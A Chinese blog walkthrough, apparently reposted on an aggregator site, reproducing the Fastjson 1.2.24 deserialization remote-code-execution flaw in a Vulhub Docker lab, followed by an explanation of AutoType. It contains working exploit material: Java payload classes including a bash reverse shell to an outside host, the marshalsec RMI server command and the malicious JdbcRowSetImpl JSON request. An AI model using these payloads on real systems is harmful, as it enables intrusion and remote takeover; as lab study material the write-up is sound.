VULHUB复现fastjson1.2.24反序列化漏洞

蚌埠住了,遇到了很多奇奇怪怪的问题。
如果你问我为啥不用kali,我会告诉你,我电脑上的kali装不成docker-compose!我急用了ubuntu

如果你问我为啥用ubuntu克隆,我会告诉你,我电脑上的kali不能安装成功java8这个版本

如果你问我为什么不直接拖拉文件到ubuntu中,我会告诉你,我安装了很多东西,没有给成功的,直接使用了sftp

如果你问我你最后成功了嘛? 我会告诉你,我成功了!
如果你也和我一样遇到很多问题,别慌,多检索,多问AI,总会解决的,只是时间长短的问题。

首先搞一台linux主机,我使用的是ubuntu,原因不想再说了,说多了都是泪,你需要先在上面安装docker,java8,docker-compose,vulhub这些很简单,自己上网检索,安装完再回来看下面的内容。

进入vulhub/fastjson/1.2.24那个目录先编译docker-compose build ,然后再启动docker-compose up -d 然后查看一下启动的端口docker-compose ps 之后直接在浏览器中访问ip:端口,可以看见这样子的东西:
在这里插入图片描述

接下来就需要编译一个java文件为class,源代码为(java和javac都需要8版本的,不然后面会出错):
java文件的内容:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFrank"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

它的作用就是创建一个文件,/tmp/successFrank,如果最后复现成功,容器中会多一个文件就是这个东西。
编译javac TouchFile.java,会生成class文件,之后输入命令

python -m http.server 4444

即可看到这样的画面:
在这里插入图片描述
好的这是我们的第一个大步骤,现在什么都不用管,再拿来一台linux服务器,我这里克隆的之前的ubuntu,它上面的java版本也需要是8才行,因为之前安装过了java8,故而克隆下来的系统自带java8,默认好像是11?有点儿忘记了。
输入:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.131:4445/#TouchFile" 9999

其中marshalsec-0.0.3-SNAPSHOT-all.jar需要你自己构建一下,我使用的是idea里面的maven,你也可以使用命令,源代码在https://github.com/mbechler/marshalsec地方,下载下来输入命令mvn clean package -DskipTests,我直接用maven的package搞了一下,你自己可以看看哪个更方便?
把生成的东西放到ubuntu上,然后再输入上面的命令,我觉得上面的命令大概意思就是如果请求我这台克隆来的服务器上的9999端口,就会映射请求到http://192.168.220.131:4445/#TouchFile资源,于是touchfile这个文件就会在容器中创建一个/tmp/successFrank的东西,那怎么请求我这台克隆来的服务器上的9999端口呢?

使用burp抓包http://192.168.220.131:8090/,修改请求为post,并修改后面两句为:

Content-Type: application/json
Content-Length: 170
 
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://克隆ubuntu的ip地址:9999/TouchFile",
        "autoCommit":true
    }
 
}

发送,如果出现500,说明应该没问题了:
在这里插入图片描述
此时进入第一台ubuntu服务器的容器中,先找到容器的id

docker ps

然后进入其中:

root@carrot-virtual-machine:/# docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED       STATUS          PORTS                                       NAMES
39c4ae537e86   vulhub/fastjson:1.2.24   "java -Dserver.addre…"   6 hours ago   Up 50 minutes   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   1224-rce_web_1

root@carrot-virtual-machine:/# docker exec -it 39c4ae537e86 /bin/bash
root@39c4ae537e86:/# ls
bin  boot  dev	etc  home  lib	lib64  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var
root@39c4ae537e86:/# cd tmp/
root@39c4ae537e86:/tmp# ls
hsperfdata_root  successFrank  tomcat-docbase.1858533243464165597.8090	tomcat.2229654376609753556.8090  tomcat.4338483899289680775.8090

发现已经创建了successFrank文件,说明请求已经过来了,复现成功!

这个使用你可能会问,我看网上说这个可以反弹shell的!你搞了个啥东西,和shell有关系吗?垃圾文章,然后把我拉黑~
我说兄弟你先别急,听我解释!
你想想既然你都能创建successFrank文件了,这文件怎么来的?是不是你自定义的java代码实现的,那你写个能反弹shell的java代码采用一样的办法,想新建文件那样,是不是你就能反弹shell了,如果你还有些疑问,来看看我反弹shell吧~
来,上getshell的java源代码,别一激动忘记编译了:

// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.131/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

分析一下:

这句话是一个 Bash 命令,由三部分组成:
“/bin/bash”:指定要执行的程序,即 Bash shell。
“-c”:表示后面跟随着一个要执行的命令或脚本。
“bash -i >& /dev/tcp/192.168.200.131/7777”:要执行的命令。这个命令的含义是打开一个交互式的 Bash shell,并将其输入和输出重定向到指定的 TCP 连接。具体来说:
bash -i:启动一个交互式的 Bash shell。
& /dev/tcp/192.168.200.131/7777:将标准输出和标准错误重定向到指定的 TCP 连接,这里是 192.168.200.131 主机的 7777 端口。这样,命令的输出就会发送到指定的主机和端口上。
综合起来,这个命令的作用是在当前环境中启动一个交互式的 Bash shell,并将其输入和输出重定向到指定的 TCP 连接,以便与远程主机进行通信。
说人话就是把自己的shell给了你想给的主机

在这里插入图片描述

起一个http服务:

python3 -m http.server 4446

查看一下效果
在这里插入图片描述
监听一下7777端口,因为我们会把shell反弹到这里:
在这里插入图片描述
在另一个克隆的ubuntu上面执行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.220.131:4442/#GetShell" 9999

在这里插入图片描述

这里的意思是访问这台主机,会转发到192.168.220.131:4446这台主机上,并且触发getshell这个文件,而这个文件会把自己的shell弹到7777端口。
发送的内容:

POST / HTTP/1.1
Host: 192.168.220.131:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 171
 

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.220.142:9999/GetShell",
        "autoCommit":true
    }
 
}


在这里插入图片描述
克隆主机的反应:
在这里插入图片描述
让我看看有没有反弹shell吧~

在这里插入图片描述
看起来好像成功了耶!!!
敲几个命令试试:
在这里插入图片描述
完美!!

至此,上面我们使用的都是两个服务器,如果在真实环境中,我只有一台云服务器呢?我们现在就来试试一台服务器能不能做到反弹shell:
准备一下环境:
在这里插入图片描述
做好响应操作,前面做了很多次了,这里掠过,直接看一下请求包:
在这里插入图片描述

最后的结果:
在这里插入图片描述

事实证明同一个所有地方用到同一个ip是完全可行的。好吧,这就很搞不懂网上为什么一定要折腾两个主机出来呢,难道是为了条理清晰起见?

实验做完了,我们来回顾一下原理吧。。。。
我觉得这个很好,你仔细看看这个:
在这里插入图片描述
然后再看看这些解释,你就能明白了:
漏洞原理
1.啥是json?
json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:

{

        "name":"BossFrank",

        "age":23,

        "media":["CSDN","bilibili","Github"]

}

json本质就是一种字符串,用于信息的存储和交换。

2.啥是fastjson?
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

3.fastjson序列化/反序列化原理
fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{“Fruit”:{“price”:0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{“Fruit”:{“price”:5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }

这样在反序列化的时候就可以区分原始的类了。

4.fastjson反序列化漏洞原理
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/581990.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

秋招后端开发面试题 - Java语言基础(下)

目录 Java基础下前言面试题toString() 、String.valueof()、(String)?hashCode() 方法?hashCode 和 equals 方法判断两个对象是否相等?为什么重写 equals 时必须重写 hashCode 方法?String、StringBuffer、StringBuilder?String …

《ESP8266通信指南》9-TCP通信(Arudino开发)

往期 《ESP8266通信指南》8-连接WIFI(Arduino开发)(非常简单)-CSDN博客 《ESP8266通信指南》7-Arduino 开发8266的环境配置与示例代码烧录-CSDN博客 《ESP8266通信指南》6-创建TCP服务器(AT指令)-CSDN博…

asp.net结课作业中遇到的问题解决1

作业要求 实现增删改查导出基本功能。 1、如何设置使得某个背景就是一整个而不是无限填充或者是这个图片的某一部分。 这就要求在设置这一块的时候,长和宽按照背景图片的大小进行设置,比如: 如果,图片的大小不符合你的要求&am…

如何让用户听话?

​福格教授(斯坦福大学行为设计实验室创始人)通过深入研究人类行为20年,2007年用自己的名子命名,提出了一个行为模型:福格行为模型。 模型表明:人的行为发生,要有做出行为的动机和完成行为的能…

操作系统——优先权算法c++实现

变量描述 测试数据 5 A 0 4 4 B 1 3 2 C 2 5 3 D 3 2 5 E 4 4 1 先来先服务算法 简述 该算法实现非常简单就是对到达时间排个序&#xff0c;然后依次进行即可&#xff0c;对结构体的sort进行了重载 代码 void FCFS() {//先来先服务算法std::cout<<"\n\t\t\t\t\…

字典及GitHub字典爬取工具

红队API接口Fuzz字典可以用于WEB安全&#xff0c;渗透测试&#xff0c;SRC等场景 完整文件已上传知识星球&#xff0c;需要的朋友可加入查看。

STM32应用开发教程进阶--Wi-Fi通信(ESP8266模块:STA、AP、STA+AP)

实现目标 1、熟悉Wi-F、ESP8266模块 2、掌握ESP8266模块共3种工作模式&#xff1a;STA、AP、STAAP的配置 3、具体实现目标&#xff1a;&#xff08;1&#xff09;AT固件烧录&#xff1b;&#xff08;2&#xff09;ESP8266模块STA、AP、STAAP的配置 一、Wi-Fi概述 1、Wi-Fi定…

OpenCV-Python: 强大的计算机视觉库

文章目录 OpenCV-Python: 强大的计算机视觉库背景OpenCV-Python是什么&#xff1f;安装简单的库函数使用方法场景示例人脸检测和识别图像分割目标跟踪 常见问题和解决方案总结 OpenCV-Python: 强大的计算机视觉库 背景 OpenCV (Open Source Computer Vision Library) 是一个开…

OceanBase 助力同方智慧能源,打造安全可靠、高性能的能源数据架构

本文作者&#xff1a;丁泽斌&#xff0c;同方智慧能源数据库工程师 业务背景 作为同方股份有限公司旗下的领军企业&#xff0c;同方智慧能源集团矢志成为全球领先的综合智慧能源解决方案提供商。凭借中核集团和清华大学的科技实力&#xff0c;专注于向建筑、交通、工业、北方供…

Altair® HPCWorks™——高性能计算(HPC)和云平台

Altair HPCWorks™——高性能计算&#xff08;HPC&#xff09;和云平台 强大的计算助力研发增速&#xff0c;Altair HPCWorks™ 使高性能和云计算变得快速、高效和提高有效产出 - 无论您的资源是在本地、云端还是混合环境中。专业地管理 IT 复杂性并支持最新的 AI 工作负载。使…

《QT实用小工具·四十五》可以在界面上游泳的小鱼

1、概述 源码放在文章末尾 该项目实现了灵动的小鱼&#xff0c;可以在界面上跟随鼠标点击自由的游泳&#xff0c;项目demo演示如下所示&#xff1a; 项目部分代码如下所示&#xff1a; #include "magicfish.h" #include <QtMath> #include <QPainter>…

CentOS7安装和升级nginx

文章目录 一 环境准备二 安装nginx三 升级nginx四 注意事项 一 环境准备 公司等保要求修复nginx的应用漏洞&#xff0c;从1.12.2升级到1.20.2版本。 本机操作系统是CentOS7.9&#xff0c;主机IP是192.168.0.201&#xff0c;nginx是在服务器部署而非容器部署。 下列安装和升级…

Springboot + MySQL + html 实现文件的上传、存储、下载、删除

实现步骤及效果呈现如下&#xff1a; 1.创建数据库表&#xff1a; 表名&#xff1a;file_test 存储后的数据&#xff1a; 2.创建数据库表对应映射的实体类&#xff1a; import com.baomidou.mybatisplus.annotation.IdType;import com.baomidou.mybatisplus.annotation.Table…

《R语言与农业数据统计分析及建模》学习——回归分析

一、线性回归 线性回归是一种广泛用于数据分析、预测和建模的技术&#xff0c;可以帮助我们理解变量之间的关系&#xff0c;并进行预测和推断。 1、简单线性回归 简单线性回归是线性回归的一种特殊情况&#xff0c;适用于只有一个自变量和一个因变量的情况。 在R语言中&#x…

QT c++ 代码布局原则 简单例子

本文描述QT c widget代码布局遵循的原则&#xff1a;实中套虚&#xff0c;虚中套实。 本文最后列出了代码下载链接。 在QT6.2.4 msvc2019编译通过。 所谓实是实体组件&#xff1a;比如界面框、文本标签、组合框、文本框、按钮、表格、图片框等。 所谓虚是Layout组件&#x…

IT廉连看——UniApp——样式绑定

IT廉连看——UniApp——样式绑定 一、样式绑定 两种添加样式的方法&#xff1a; 1、第一种写法 写一个class属性&#xff0c;然后将css样式写在style中。 2、第二种写法 直接把style写在class后面 添加一些效果&#xff1a;字体大小 查看效果 证明这样添加样式是没有问题的…

WPF —— MVVM 指令执行不同的任务实例

标签页 设置两个按钮&#xff0c; <Button Content"修改状态" Width"100" Height"40" Background"red"Click"Button_Click"></Button><Button Content"测试"Width"100"Height"40&…

clickhous学习之旅二

接上回继续鼓捣clickhouse 1.常用数据类型 1.1整型 固定长度的整型&#xff0c;包括有符号整型或无符号整型。整型范围(-2n-1~2n-1-1): Int8 - [-128 :127] -->相当于java中的byte Int16-[-32768 :32767] -->相当于java中的short Int32-[-2147483648 :2147483647] -…

最新官方破解版会声会影2024永久序列号和激活码

会声会影2024是一款功能强大的视频编辑软件&#xff0c;它集合了视频剪辑、音频调整、特效添加等多项功能于一身&#xff0c;为用户提供了一个全面且易用的视频制作平台。无论是初学者还是专业视频编辑人员&#xff0c;都能在这款软件中找到满足自己创作需求的工具。 会声会影最…

基于残差神经网络的汉字识别系统+pyqt前段界面设计

研究内容: 中文汉字识别是一项具有挑战性的任务&#xff0c;涉及到对中文字符的准确分类。在这个项目中&#xff0c;目标是构建一个能够准确识别中文汉字的系统。这个任务涉及到数据集的收集、预处理、模型训练和评估等步骤。尝试了使用残差神经网络&#xff08;ResNet&#x…
最新文章